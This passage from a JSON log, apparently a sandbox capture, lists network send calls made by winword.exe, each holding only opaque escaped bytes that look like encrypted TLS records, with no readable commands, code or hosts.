  712. "http_request": "winword.exe_WSASend_p]o\\x12x\\x97l\\x12e\\xd3\\xd6r\\x9c\r\\xb8ac\\xef\\xbc\\x12\\xc2\\xac>ki\\x03\\x0eh\\xed\\x06\\xbf!\\xc2\\x03$\\xcf\\x84p\\xdbn(\\x1c0\\x01\\xfavh\\xa7\\x06\\xd0\\xa7\\xc0&\\xad\\x83\\x0e\\xddz\\xfe\\xf1\\x17\\x9a\\xc7\\x06\\x1f\\x0c9\\x02f\\x999r\\xe5\\x8a\\x06\\x05d\\xdd\\x8f\\xa6z\\x91\\xd7\nu\\x17ym4\\xa2*\\x7f2\\xa5d\\xc3(\\x07b'kf \\xf7\\xfed\\x914\\x9d\\x92\\xf0\\xfb\\xbb\\x91\\xf7`\\xdf\\x9c\\xbaf\\xc1r\\xfc\\x97d\\xf5\\xa6\\x8fi\\xd4\\xfe\\xe3q\\xd3=\\xa2\\\\xedn\\xd5\\xcb+qhh\\xda\\x86%\\xed\\xe9\\xcb\t\\xc1\\x80\\x93}\\xf1\\xb0)q\\x0es\\x91\\xd5\\xd9\\x05vp\\xdf\\xb8\\x1e\\xbc\\x10\r\\xc9z\\xd0\\xe4\\x07\\x0e\\xa8\\xa5\\xc1\\x0b\\xbd<w\\xdbjgl\\x18m\\xe5\\xd8\\xe5\\xa0\\x02\\xbb\\xd3y^\\x8c\\x16\\xd9\\x88\\xa8lru\\xb5\\xaf8%zt\\xcb\\xdf}\\xbe\\xeb\\x1b\\x9f\\x12\\xffn\t\\xbc\\x1fj\\x95\\xeb\\x9a\\xf3\\x12m%<\\x15k\\xff\\xdc\\x7f\\xbc\\xf1\\x11ez\"i4\\xfd^\\xe9wp"
  713. },
  714. {
  715. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\n\\xc0\\xab\\xad\\x1a\\x9b\\xdd\\x05\\x83\\xc6o\\x99\\xdf\\xa9-\\x11m\\x1a\\xc6j~\\x88\\xaf#\\x13\\x83\\x13\\xb0\\xc9\\xea\\xce\\xa3\\x95\\xbe\tg\\xd8\\x00\\x8a\\xc4\\xec\\xbf\\x0c\\x9d;\\x04@j?\\xbe\\x83\\xe3j\\xae\\xf50\\xa6\\xd44\\xd5\\xaf\\x07)\\xd7\\x8f\\x0b\\xe4\\x91\\xd9\\x93\\xf8z\\xca\\xd7\\x1ew=}\\xdf~\\x9cv\\xf3\\xf6\nq5z\\xf6\\xb1gd\\xa8\\xafyk\\x10s\\x82\\xfa/\\xa6x\\xcf;r\\x95\\xbbt\\x8el\\xe8\\xdfchd6o\\xc9\\x05\\xd9\\xcc\\x19\\x05\\xd3yc54,e\\xaa\\x07\\xc9\\xdb\\x88\\x04\\x1a\\x9b\\xd3\\xa4'\\xa9\\x14\\x8a\\x89hu\\x0b\\xbc\\x163\\x0c2\\xa3`\\xf6i\\xcdz2d\\x9ey\\xeb}\\xb3\\xf8y\\xeb\\xb5\\x97\\x02gf\\xb5\\x11+\\xeat\\xc7\\xa8k\\x104\\x1e\\xe2\\xdc\\xe6-^\\xd6yp\\x0ed?@\\xf3\\xb6\\xe3b\\xc6\\xe6\\xed[\\x07p\\xd6\\xc0\\x12\\xf5\\xb2\\xe1\\xebb/\\xc2\\x16;\\xd8\\xb1\\xdc\\xd1<\\xd8\\x99\\xf2ac\\xed\\x99w\\xde+\\x97\\xef\\x8e\\x03x\\xd1\\xdf\\x80\\xb6\\x08\\x8c\\xc3\\xe2c\\xed\\x06"
  716. },
  717. {
  718. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x17f\\xe3&s\\x12\\x81\\xa4^\\x07e>\\xa9\\xd4\\xf5\t7s\\xdbl\\x1b\\x14\\xdf+\\xe8\\xf0v\\xcd\\x89?\\xe7ct\\xb4\\x90a\\x15(\\xac\\xe2h\\xe7bn\\xc4\\x98\\x1fl\\x12r\\x00\\xf8\\x0f\\xbafd\\x0f\\x8e-_[\\xdf-\\x0c\\xfa\\x80\\xc9i\\x19v\\xda\\xe4\\xa3\\x8d\\x19cc\\xc5\\xd9n\\xe8\\xed~\n2\\xcem\\x86(\\xfbn\\x01{\\xbd@\\x9a\\x0e\\x8d@\\xea\\x16;\\x13|\\x8cu2{\\xd7\\xad\\x8d\\x8d\\x07\\xbf<\\x1bh\\xfc\\xfe\\xae\\x0c\\x02\\x7f\\xf5\\x1a\\x0f\\x96\\xcc\\xed\\xb2?%\\xa8^\\xd9c\\x19\\xd2\\x84\\xd8c\\x9a\\xce#\\xcb\\x8e~\\x1a\\xfa\\x99\\xea8\\x02\\xa7\\x8c\\x08\\x8c\\xcd\\xce\\xea\\xdf\\xd5cx\\x9a\\xa5\\xdf\\x14\\x0e\\xf8\\xe6m\\xa2;\\x8a\\x89\\x1ft\\xe3\\x89\\xee\\xa6\\x0c\\x81\\x93l\\x1dio'\\xf9\\xafj\\x86\\xfa\\xb4\\x1e\\xdb\\x015\\xc5-\\xab[\\xd8\\xa9\\xf2\\x94\\xb7\\xbf:3\\xd8z\\x16t\\xf8\\x04\\xd2\\x94u~\\x0e\\y\t\\x85\\xbe\\x14\\x97\\xc8\\x05\\xdd\\xd3\\xa5i\\x12.\\xc1\\xba\\x1f\\xb9\\x12j\\xb8\\x0cq\\xa7\\xd3n\\xc9"
  719. },
  720. {
  721. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xbf\\xb1\\xbe\\x98d\\xc3\\x1f\\xa5c\\x01\\\\xf0\\xd1\"!~\\xa7\\x12\\xba\\x00\\xbe\\xe2\\xf1m\\xed\\xd5\\xf4\\xae\\xd8f*rq\\x9f\\xaaq[/\\xf3\\x95l\\x99x\\xc3p\\x18\\xc6hg.\\x1c\\x80\\x90\\xc1\\x1d\\x12\\x0ek\\xbft[y\\xe6j\\xcb|qy\\x93\\xc6\\xa4\\x85\\xbe\r\\x88\\x84hlc\\x98<?#\\xb9\\x874v\\xaa\\x7fg\\xeb\\x05\r\\x12r\\xaf.\\xbcp\\xf7\\x83[\\x9co\\x1az\\xe4o|+\\xd8\\xbb;)\\xf6\\x8c\\xb0\\x10\\x14\\xd9\\x18h\\xdes\\xe1\\x91\\xd2\\x94\\xd7\\xb3\\xad\\xb4\\x02\\xe1\\xbb\\x1d\\xa4\n\\x8f\\xc9\\xfe}clr\\xa6\\x93\\x06\\x1d\\xaf\\x82**\\xdc\\x88wy\\xbel\t\\xa8\\xba\\xb4\\xfb\\x02\\x1e\\xf0g\\xb3\\xce\\xe82\\x00ba\\x19;|\\xa3\\x19:\\x89\\xbc|\\xf7-\\xbe\\xdb\\xed\\xe1\\xcaw\\xcc.xw-/x\\xce\\xa7\\xf2\\xfd\\xb4\\xfc\\xe6\\xedt_\\xe1\\x19\\x8e\\xcf1\\x88\\x00\\xe1\\x87\\xe4\\x1d\\x9dw\\x94\\x19d\\xbb1\\x18w?2\\xe6\\x0f\\xeb:\\xfa*\\x03\\x1b-\\x9a\\xc7\\xe2g\\x87e\\x8a\\xfeq\\xda\\x9a"
  722. },
  723. {
  724. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010jv\\xdd\\xe6\\xf3.\\x90)#\\x0e\\xcd,\\x01\\x9c\\x9c\\xe6\\x18vep\\xdaj\\xf4\\xe6\\x1d\\xbc5i\\x98\\xbd\\x13\\xdbp\\x91\\x1d7\\x9ao!\\x89\\xb0q\\x8a\\xc7h\\xbb\\xcc\\xd5\\xc3\\x89v(\\x90r6\\xf9\\xab\\xd2>\\x14\\x9f\\x92el\\x90\\x7fx\\xef\\x93\\xa6y[\\xef\\xf7\\xdd\\x82\\x18\\xeb\\xcb.\\x8a\\xca\\xa0\\x94y\\xd1?uu;\\xf8\\x9acz\\x88\\xe2\\x89qr\\x15\\x0e\\x95/\\xb3!s\\xd1w\\x1e\\xa1\\xae\\xa3\\xc0\\x0f\\xdcv\\x9d\\x87rh\\xc4\\xc4\\xcb\\x81g9\\xb5\\xcb\\xf5\\x01\\xc0\\xca\\xb6\\x0b\\xa0\\xfcy\\x92=}\\xc8\\xbf0\\xb7+\\x0f\\xa9\\xa5\\xb9\\x0b\\xd5\\xf8\\x86\\xd1\\x1d;\\x93\\x97ik\\x8c\\xfd\\xd2\\xd7\\xba\\x9dc\\xf3\\xc3\\xdd~\\x0b#k\\x12\\xda\\x15\\xc6)\\x92\\xdd?|d\\x99\\x12\\xe8n(}&\\x0c\\xf0\\xca7j\\xcc\\xa2\\xf1\\x8c!\\xac\\xa9\\xc6x\\xa5\\xc1-\\g>\\xb8b\\xbf!\\xc8\\x92k\\x89(\\x84\\\\xb9$\\x9f\\xac\\xa3\\xeay\\x00\\xd7^\\x14\\xdf\\xdc\\x9f\\xce\\xd3\\xd1\\xdb\\xb0#\\xc2\\x1e@\\xba;\\xfc\\x1b\\xfe0"
  725. },
  726. {
  727. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x87\\xee]\\xcc\\xe6t\\xdc\\xe2\\xbd\\x8a\\xec\\xc3\\x17\\x17.f<va\\xf0\\xa8\\xdf\\xce\\x83v\\x8b\\xfc\\xb3*tu\\x04& ,\\xb0\\xe0(\\x88\\x1bp\\x95\\x83\\xda\\xfe*\\xcb\\xc6pc&\\x81\\x93\\xf8\\xfc\\xafa\\x1f\\x17>f\\xd6\\x1dz\\xc4yq\\xb1d\\xd4\\xfb\\x83\\xc6\\xc8\\x02\\xcf9\\x05\\x89\\xf3\tm\\x9a\\x1b\\xe5t\\x9a\\x06\\xb6\\xfe\\x9b\\xd8\\xeb%w[\\xc6\\x9d\\x18%\\x7f}\\xb4\\x16\\xe3{y\\xff\\xd3/\\xc5\\xcf\\x00\\x84\\xcf\\x86\\xce\\xbb-\\xcea?[\\x8e\\x05\\xc04?xk)6\\x1b\\xb9\\xf5q\\x9a\n\\xf4\\xe1e>\\xabz\r\\xb2\\x00(@\\xf3d/>q\\xca`\\xf1uu\\x0e\\xa4\tug\\x18\\x01\\x9c\\xfd\\xc2\\x02\\xe0\\x190\\xb0{\\xa7\\xb8\\xbe\\x83\\xc4\\xad&\\x04\\x10\\x12\\x10=\\xd0>\\x88\\x1e\\x05!\\x8d|\\x88s?\\xc1\\x12w \\xd7\\x19\\xfcr\\xae<\\xe5\\xb6\\x01\"\\x0e^\\xf2j\\xa6;\\xb2\\xf7\\xfe\\x81\\x11\\xa6\\xe8\\x0b\\x95\\x8c\\xb5lc^d\\xd6}\\x04\\x07}s}m<p\\xce\\x0e\\xf3\\x13\\x1ae\\xbc\\xc2"
  728. },
  729. {
  730. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010x^\\xfe\\x1a\\xb3cl|\\xd1}\\xbf:\\x80e\\xe5e\\x81v\\x97n/)\\xb5{\\xcf\n\\xc6\\xce\\x14\\xf51(\\xbc2\\x84\\xed\\x1d\\xe4\"\\x93\\xd3\\x94\\xea\\xb6lp\\xdd\\x83\\x0cb\\x1a\\xb4m\\xe1\\x87\\x97tq\\x05\\x12\\x07\\xe0\\x0b\\\\x85\\xa7\\xd3\\x90\\x87\\x90\\x8e\\xf3\\xed8\\xfd\\x18\\xb7[\\xc6 \\xf8+\\xd8\\x07\\x03\\xb2nba%\\xc5\\xe5\\x8d\\xb9\tko\\xb7\\x07.p\\xd6c1\\xc6.\\xdf'a\\x82>\\xe0\\xd45\\\\x87\\x86\\x81(\\xdf#\r\\x9c\\x179w\\xd3\\x05\\x92\\xd5\\x81\\x14\\x15\\x8au\\xc3rzq<\\x15}\\xd1+\\x0c\\xbe;ef\\xdf*\\x11\\x11v\\xecq\\xa8\\\t\\xc9|\\x03{\\xd4\\xd4\\x9e\\xc6\\xfa9s\\x12\\xad\\x11\\xd2\\xc3\\x8bf;\\xca\\xc3\\x93+d^\\x8b\\xef6'y\\xf9\\x9ah\\x86x\\x16!\\xacw\\x16\n\\x87\\xeb \\x10d\\xe7o\\x1e\\x88\\xc68d6\\xec\\x9c\\xeb\\x05\\x96~\\xdb\\x83\\xablx3\\x1c\\xdf\\xe0`[\\xb0\\x85\\x9c\\xa7\\xce\\xd96au\\xc6\\xa3\\x0b{\\x8e\\x01\\xeep\\xe4\\xc2\\xd3\\xe9"
  731. },
  732. {
  733. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf5\\xed\\xd4\\xa9!\\x0f\\x17\\x98/\\x03\\x1c^\\x18\rf\\xbe\\xa3\\xf4\\x15\\x9f\\x92\\xddqi\\x13\\xa7d\\xe98\\xb3\\x9c\\xb642\r\\x19\\x86g\\xd30\\xc7f#\\xf9\\xedt3\\xdf\\xa7\\x94\\xab#\\xf5\\x992\\xc9\t;\\xfazf\\x7f\\xfe%qd\\x10k\\xa0g84\\x7f+\\xbb\\x1e\\xf3\\xea\\x81vq\\xfd\\xc6mq]\\xd2\\x9d\\xdc\\x13\\xa7/*\\xcb=\t1\\xca?\r\\xf4\\x0c\\x872\\xb5\\xc6\\xca\\xeb\\xab\n\\xd4\\xe9\\xe2\t\\x1d\\xad\\xe2\\xab\\x16\\xd0t\\xd5\\x8c\\xbbb\\x17\\xcc9u\\x1d\\xb1\\x81j\nyu:_\\xa1\\xbf\\xb4%\\x99ncwz\\xfd\\xc7c\\x03rc\"\\xed\\xf5\\xeejd|\\x9a\\xbf\\x1cmk\\xcd\\xa2a\\x0c\\\\x17q^\\x84\\xe5\\xee\\x07\\xf6lm\\xcd\\xd2\\xb9\\xcd\\xf7\\x17\\xb30\\x85ojs\\x1dn\\xdb\\x03\\xb9}\\xe7\\xd5\\xa4\\x95\t\\xb9\\xd9\\xe9\\xe5dm\\x90\\x14\\xae>\\x1ci~w\\x13\tu\\x06\\x04b\\xa6\\x8c\\xc4\\x11\\xdf\\x81\\xd4i\\x8d\\xb8yt\\x14\\xd1\\xbe\\x1b$\\x0c^&]\\xcb\\xfc\\xa8\\xba;\\x81\\xde"
  734. },
  735. {
  736. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x86\\x8a3>%k\\xa2c\\x0e\\x06<l\\xbf\\xf6\\xfe\\xc7?\\xe6d\\xb6\\xdb\\x0bv\\xdd\\xe4\\x8f\\x98y0\\x8es\\x02\\xf5zu\\xcd\\x96xd\\xa8\\xe4\\x03\\xdet\\x8b3\\x96\\xd9a\\xee:f\\xcf\\x9d\\x15\\x8a\\xd0\\x97_ov\\xbda5r\\x81\\xed')\\x019-j%!\\xd7\\x99\\xc3\\x9e\\xff7\\x02r\\xd9\\x86%\\xa7wh\\x11\\x17\\xbe\\xefv\\x08_\\xa9?di\\x81\\x91\\x8foh\\xb0\\x90\\xc0)\\x15f:\\xf7\\x18\\xeay\\xf7&\\x06\\xf9\\x90\\x8f\\xf7 \\xfa\\xb06ar\\xc3\\xa4\\\\x95r>\\x1b\\xf0j\\x08\\x8a\\x9c\\xfe\\x9a\\xc7\"h\\xfb\\xa4\\x8c<\\xb1*\\x9a/r\\x1f\\xa7\\xca\\xa7fc\\x1f5\\x8f\\xb1\\xa7\\x1d\\xe5\\xa1\\xb0l\\xfe\\x8bj5\\xa3\\x82\\xe7\\xff\\xb2\\xc1f\\x17\\x9e\\xed\\x08\\x8d\r}\\xa5\\x93\\xa5\\x81~6\\xe4g]\\xc8\\x04%\\x10g\\xc6\\x8a\\xbb\\x7f:\\xbb\\x870o\\xf6o4\\xe4%\\x93\\xae\\xf5\\x1d'\\xb3k\\x9d\\xae\\xd7\\xdbx\\xec\\x1b\\xe9\\xf1\\xea\\x9e\to$e\\x1a2\\xd5b\\x1d\\xb4\\xb4\\xf0t\\xd6\\xc9\\x11"
  737. },
  738. {
  739. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb2\\xe0\\x01\\x8c\\x04\\x9b\\m[wz]\\x87\\x95\\xda\\xf1\\x19\\xb0l\\x80&\\xaa[b\\xc7\\xa0\\x92\\xcb\\x91v<y\r\\xbad\\xdb\\x89g\\xfc\\xa2\\x13|\\xf2\\x0c\\xa5\\xb9\\xe8\\xaf\\xde\\xad\"w\\xc0z\\x95h~q5\\x98\\xcd\\xbbh\\xd6\\x9d\\xf7u\\xc5\\xbe\\x02\\x12\\xef]\\xe5\\xd4\\xf5\\xdf\\xef\\xf9r\\x9aw\"\\xef\\x01\\xaf?t\\xa6)\\xb0k\\xe9\\xce\\xa6\\xf8c\\xa5\\x05\\xb8\\xa9\\x96\\xef^a8\\xab(s<\\x14\\x08\\x8a4\\xd5\\x80\\xe9\\xdd\\x12\\xb9\\x85r\\xd04\\xc5\\xa1i\\xfb{\\xde\\xf0b\\x1bs\\xb2\\xce\\x9b\\xd4\"#w\\x88\\x82r\\x91\\x0b\n\\xc2\\xf7n\\x93~\\x196\\x08v\\xc8\\xc5p\\xb5\\xd5\\xf5\\xc8\\x99\\x0b\\x86\\xafw\\xe3\\xf7\\x15\\x19\\x80]\n\\xd08\\x08\\x19\\xef\\xca\\xb7\\xcf\\xccp\\xf0\\x88\\xbe\\xbe\\xb0\\xda\\xe6._o\\xe1\\xbfpw\\xc4\\xc0\\xff\\xb2\\x17\\x16\\xef\\xa1u\\x18[\\xfc\\xe4oq\\x1f\\xe2\\xc5\\x98\\x1b{\\xc1\\xc2\\xf7\\xa6\\xff\\xef\\x12ic\\xf6\\xe0\\xde\\x17\\x13b\\x98<kbut\\x91\\xbc\\x1c\\xfc\\xb0t5\\x14h\\xc4"
  740. },
  741. {
  742. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0101\\xfc\\xda\\x07sr\\xec\\x1d\\x18r\\xc5w\\xfb\\xc5\\xdd\\xff\\xa5\\xd6~!\\x999}\\xe2\\xec\\xcd\\xb0\\x14j\\x07\\xfd\\x84\\xbc\\xeb\\xc1lig\\x18\\xefy\\xaa\\x0bw\\x85\\xbd\\x95\\xe4k\\xae\\xe2y\\xeee-ezn\\xb0\\xef\\xa3)\\x93a2\\x1d\\xc43q\\xd0\\x150\\xc9\\x8d\\xd3qd\\xe4\\x9a\\xce\\x8c?\\xff\\xa7\n\\x99\\x89\\xa1(\\xe2\\xb9?\"o^\\x83\\xb8\\xe8\\xcbd\\xe0\\x99\\x97\\x1e\\x1d.]\\xf8\\xbc\\x1a\\xb5\\xdfg\\x88\\xad\\x04\\x99\\x06\\x03\\xe8\\xd4\\xde\\x92\\xfa\t}l\\xc3s\\xf3\\x9el6\\xba\\xbb\\xddm\\x98\\xb4\\xaa\\x03s\\xc6\\x854\\xb1\\xa9\\x7f\\xee\\x96\\x1cc\\x1c\"\\x10\\xc0\\x81-\\xf3r\\xf8\\xc2\\xf4~\\xd2\\x93\\xc59h\\xd3\\xact\\x08x\\x86h\\x00\\x9dz\\x17.<\\xdf\\xf0\\x0c\\xb7\\x8e\\xdc\\x01o\\xfb\\xd5a\\x11\\x81\\xff\r\\xbacw\\x9f\\xa5\\x0f1\r\\xc4\\xe7\\xc0\\xf7\\xe8z+\\xe1\\xee\\xe1\\x06u&\\x1f6\\xde\\xf1\\xc5\\x0c\\xc2n>:{\\x82\\xcc\\x15\\xf5\\x86v=w\\xf8r\\x8f\\x06\\xb3\\x02\\xac\\xdf\\xce\\xb8i\\xf3\\xabl"
  743. },
  744. {
  745. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd0]\\xbd\\xa1\\x9c \\xc6\\xb5yw}\\xd0e\\x7f\\xcdx\\xc6\\x0c\\x9c\\xff\\xc3\\x11\\x0f\\xd5kc\\xaf\\xcc!?\\x19\\xbd\\xdf\\x9a\\x01\\xae1]\\xad\\x10\\xc9*\\x10\\xdb\\xcd\\xdd~\\x96\\xed\\x0b\\xbd(\\x8a\\x96\\x95\\x98\\x98\\xc2p\\xea\\xe0\\xd3\\xeby\\xfeq\\x1fad?\\xf0nu\\xcet\\x9em\\x16\\x88%\\xfb\\xf64\\x03\\xf4\\xb4\\xd1\\xf1\\xd6%!\\x00\\xf6\\xd28\\xa3\\xc1\\x11\\xb6o\\xbd\\xe2t\\xf0aw~(z$\\xb0\\xd6\\xfev\\x86x\\xdb\\x9b9\\xcb\\xb5d3^\\x8f\\xf1\\x19\\xe2\\x96 v\\x15-\\xd3tm\\x96%\\x93nt\\xd5s\\xbd\\xb2\\xc4\\xbfom\\xdb\\xf4\\xffe\\x81ka\\xf8\\xe0\\xbc\\x87\\xb7\\x02\\x07`\\xb9\\x1d\\xad\\xb5%\\xbe\\\\xc9\\xf6\\xd2u\\x87\\xb0rzxx\\xae\\x95\\xf6*\\x89\\xfa^\\xa2w)\\xd7\\xf3t\\xcb\\x8d\\xbd\\x99\\x8fq\\xb3\\x1b\\x9e4\\xbf\\x9ch!\\xc1\\xb8\\x0b\\x9fx\\xb5l\\x7f\\xfb\\xfc\\xb4\r\n\\x92w\\xc1q\\x1ee4\\xb50\\xfa\\xad\\xae\\xa4i\\xf9\\xc8\\xc1o\\x19\\x0f\\x93r\\xb7\\xe5\\x1d\\xb5\\xfc\\xed\\x0b\\x0f"
  746. },
  747. {
  748. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b\\xf7\\xb9\\xeeyn\\xee\\xd6h\\xe0\\x02h\\xcawkb\\xf6\\x0e\\x8b\\x08\\xeb\\xfc\r\\x92i\\xc7l\\xa46\\x9c\\xb0\\xd5\\x84\\xd0\\x0b]\\x90\\x9b\\xa6kw\\xad[|uz\\xfe5_\\xec\\xb0g\\xf1\\xb8t\\x9as\\x18{\\xe1x\\xef\\x1e\\xfc\\xa5/\\xf7\\xb0\\xe6\\xc1q!/\\xd8\\xa5k!\\xe0\n\\x13|:.l\t\\xf1\\x03\\xc9\\xb4!d\\xbb\\xe4h\\x0177\\xd8d\\xe6\\xb1w\\x92m\\xe1\\xa7n\\xf1x\\xac1\\xfd&\\xb0\\xb8'\\xc0\\xe5)//\\x1f\\xb3\\x8f$)9_|h\\x9dr\\xf9\\xebq:\\x008\\xf3e\\xaf3\\x1b\\x9b\\xa6\t\\x91\\x18\\xf4\\xedu\\xf7\\xa9\\x9fl\\xf4*\\x83\\xdf\\x81\\xfce\\xf7\\xa5\\7n\\xdf-\\x8e\\x7f\\xbe\\xa0\\xf5\\x14\n9|\\x17{\\x8eo\\xa7g\\xd8\\xa5\\xd9\\xb5\\x99s\\xd0~\\xacngb\\xaf-o\\xb9\\x06\\xc1b\\xef\\xe55\\x88\\x1b\\xe5\\xba51\\xac2o\\xd0\\xb2\\xea_\\xe5\\xab\\x10/n\\x13\\xf3\\x9c\\xb8\\x96j\\xd2\\x04\\xd9x\\xaek-\\x8a\\x94\\xd5\\x1ezl9xc\\xa5\\xe3\\xecz\\x90"
  749. },
  750. {
  751. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xd9r\\x19(\\x7f\\x1c\\xe8\\xe6\\x83s\\xe3\\xcc[\\xc9\\x02\\xb6i?\\xff\\xff\n\\x13k\\x0c>\\xab\\xf6\\xc8\\xa2^jn\\xfb\\x9e\\xef\\x90p\\xb5\\xffd\\xce\\xf6\\x00\\x1amni\\xb5\\xb3\\xa9\\xdc\\xcf\\x00\\xff\\x0e\\x9fiz\\x01\\x1bz\\xa4p\\xb5\n\\xec\\xe8\\x15\\x9d\\x9b0a\\xf1\\xe6@\\xe0\\x19\\xfa\\xbca]#u_\\x9a\\xd4f,\\x94bs\\xad\\x8aw\\x9e\\xc6t:vt,\\xd3[\\x02\\xb0b\\x03mh\\xb4\\x98v\\xc7\\x9c\\xf7\\x93\tb\\xf3\\xb59\\xb7q\\xc3u(\\x1fc\\xd8h\\xc80\\xe0~h\\x85\\xd7\\x15\\x01\\x17\\x9c\\x1d\\x1a\\xef\\xdaj\\x14\\xf8\\x925\\xabg\\xadd\\xc9jl\\xa8\\x8b\\xc6\\xf3r\t\\x0f\\xc6\\xe1\\xbe.\\xbc\\x08\\x85o\\x03jf\\xfe\\x92n\\x17\\x9b\\x98\\xca\\xa3p\\x88ik\\xbc\\x93p\\xd2\\x10x\\x0f\\xe29k\\xde\\x83\\xe1\\xa3\\xe87\\xa7\\xef\\xe4\\xcb\\x8fj\\x15\\x16&ee\\x9b\\x92h\\x16:r\\xdc\\x04\\xc4\\x96\\xd5e\\xb3\\xad\\x8f:\\x9d\\x9b\\x93\\x1a\\xb0t\\xad$\\xf9|)\\xe4f\\xef\\x13\\xab\\x94\\xb95\\x0e\\xcb"
  752. },
  753. {
  754. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xcd\\x88u\\xc5\tfg\\xda\\xbd\\x86\\xdbh\\x8b\\xb1\\x0bs\\xb1\\xcd/\\x0cu\\xcb\\xd2\\xbc:v4\\xbb\\xb9\\x1a=^\\xbe\\x9d\\xbcq\\xd7j!\\xffs\\x0e\\xaao\\x8d\\xd9\\xc7.\\xf6\\x19\\x15\\x1e\\x85\\xe2\\xbe\\xe5_dl\\xb1\\xa3+5\\xa3\\xc40\\x02:\\xd2b\\xc7\\xf5\\xc7s\\xa1$\\x8a\\xe5b\\x8c\\x18\\xd4i\\xaa\\xaev\\x11en\\xab\\x9c\\xab#\\xdc9\\xc8\\x98\\x08*#o+\\x1fs\\x98\\xb7r\\x19p\\x88\\x92\\x92\\xae\\xbf\\x8e\\xb2<\\xf37jt\\xa0\\xb4\\xe9n\\xcd\\xd4\\xa8\\xc0\\xe0~\\xdc\\xc2\\xbb\\xd1\\\\xc4a\\xb6\\xda \\x01?!\\xfb\\x9c\\xe5\\xc7,\\x92\\xdc\\xfb\\xd4z\\x1d\\xc7\\x8f3z\\xeaa\\x93\\xd2\\x9b\\xe9_?t\\x04\\xae\\xad\\xaa\\xea\\x8c\\x97\\x10\\x0f\\xc1;\\x82\\x9f\\xa6 pov_\\xfd\\xcb\\x01\\xb1\\xdc\\xb7\\x9c\\xf7\rew\\xbd\\x06l\\xe8\\x06zu\\x10\\xddzaj\\xfc\\xa2\\xe8\\x17\\x8dus\\xf0>m\\x8a\\xd5\\x8f_\\xa9\\x9c\\xb9\\x9d\\xa6c\\xef2\\x00ms.}\\x03\\xc5f\\x12\\x08\\xebz\\x9dx\\xd8\\xfd\\xd7\\xed\\xe8"
  755. },
  756. {
  757. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8e\\xf9q\\xaa\\x18o\\x89-|\\xe1'\\x14\\x8bnb\\x8b\\x98\\xb5\\x83\\xa7\\x17\\xcd\\x97wc\\xce\\\\xc6\\x9c>\\xb2\\x9d\\x08\\xbb\\x94h\\xeepl\\xf8\\xda.\\x88\\x10\\x1c\\xdd*4$&\\x92\\x87xki\\xcf\\x15\\x9d\\xbd\\xf5\\xdf\\xf0\\x97\\xd7\\xb0\\x7f\\xb0\\xd9\\x8e'k<\r32\\xb0?\\x1dkh\\x18\"\\xb2\\xc5\\x15\\xf5\\xfe\\xf6$|\\x94\\xc5\\x0etx\\xebc\\xa0tq\\xc2o\\xd5\\x08\"yi$\\xd0\\xb1\\xa4\\xa6\\x17\\xd99x\\xb0t/\\xb9\\xdb&\\xfco\\xd0>\\xa3\\x0f\\xbar3fx\\xf6\\x11\\xf9r\\xd2\\xd3|\\xaf\\xb0m\\xf5\\x82b\\xb6\\x8c\\xcd\"\r\\xf8\\x1a%\\x0f\\xeb`:\\xa1\\xf3bq&\\x10s\\xaa\\xf5\\xfb\\xcbk\\xbe\\xeb\\x0e\\x93\\x17\\x9az1\\xf0bq\\x06\\x90\\x10\\x07\\x06\\xed\\xe7\\xee\\x18d@\\x83\\x84\\xe4\\xd2v\\xa3=\\xdf\\xa3\\x10\\xa1\\x1d\\x19\\x0f\\xd9\\xa1\\xd0\\xd8\\x8d\\xd4:\\xef\\x16\\xd6`\\x1d\\xfct\\x\\xcb\\x95}u-\\x86\\xde1xn\\x06\\x9c\\xde\\xa2\\x89\\xa3d{\\x15\\xb86\\xedy\\xccz\\xb5\\x84\\xbe\t"
  758. },
  759. {
  760. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\d)\\xd9\\xbb\\x8ft\\xf1\\xbc\\x04n\\xb5w;f\\x8c\\xaf\\x859\\x06\\xce\\xec\\xb5\\xe7`\\xd0q\\x0b\\xcf\\xab-\\\\x93i\\x18m\\x1c\\xba\\x13\\xf2\\x01f\\xec:\\x98n\\xde(x[\\xd5\\xfb\\xa5\\x95h\\xc2\\xf4\\xee\\xce+y\\xcbl\\xa6s\\xc07\\x98\\xb0b\\xb5\\xcc\\xd9\\xcdf\\xbe\\xcd\\x05au\\xc2\\x1c\\\\x83\n\\x85c\\x84\\x18\\xab\\x97\\xe4&\\xe42\\x06\\xcc\\x7f\\x81wwe]\\x04'\\xcd\\xd52um\\x96[\\xdb\\xda\\xe4\\xc7\\xb9ev\\xdc\\x044\\xbf\\xd3\\x8364m\\xc5\\xadyj\\x89\\x84\\x9f<\\xb7\\x83y\\xca\\xafgw\\x10i\\xcb\\x88nmu(is\\xe7jj\\xeeko\\x13-z\\xed\\x0e>p1\\xb8\\xf4]\\xa7\\xd3\\xda$y7h\\p7\\xc6\\x88r\\x90\\xc6\\x8f\\xd6wi\\x96\\x85\\x8e\\xcdq\\xe2u$\\x90\\xe1\\x9d\\x06\\xc7\\x86\\x1fh\\x85\\x82y\\xb9\\x01\\xd9f\\xaa\\x91\\x17k}\\c]\\x10\\x94\\xc9\\xee \\xac\\x132\\x86'\\x02\\xb8'ur\\xb8\\x0f\\xa3pa\\x14\\xb2\\xa4\\xc2w[}<@v)"
  761. },
  762. {
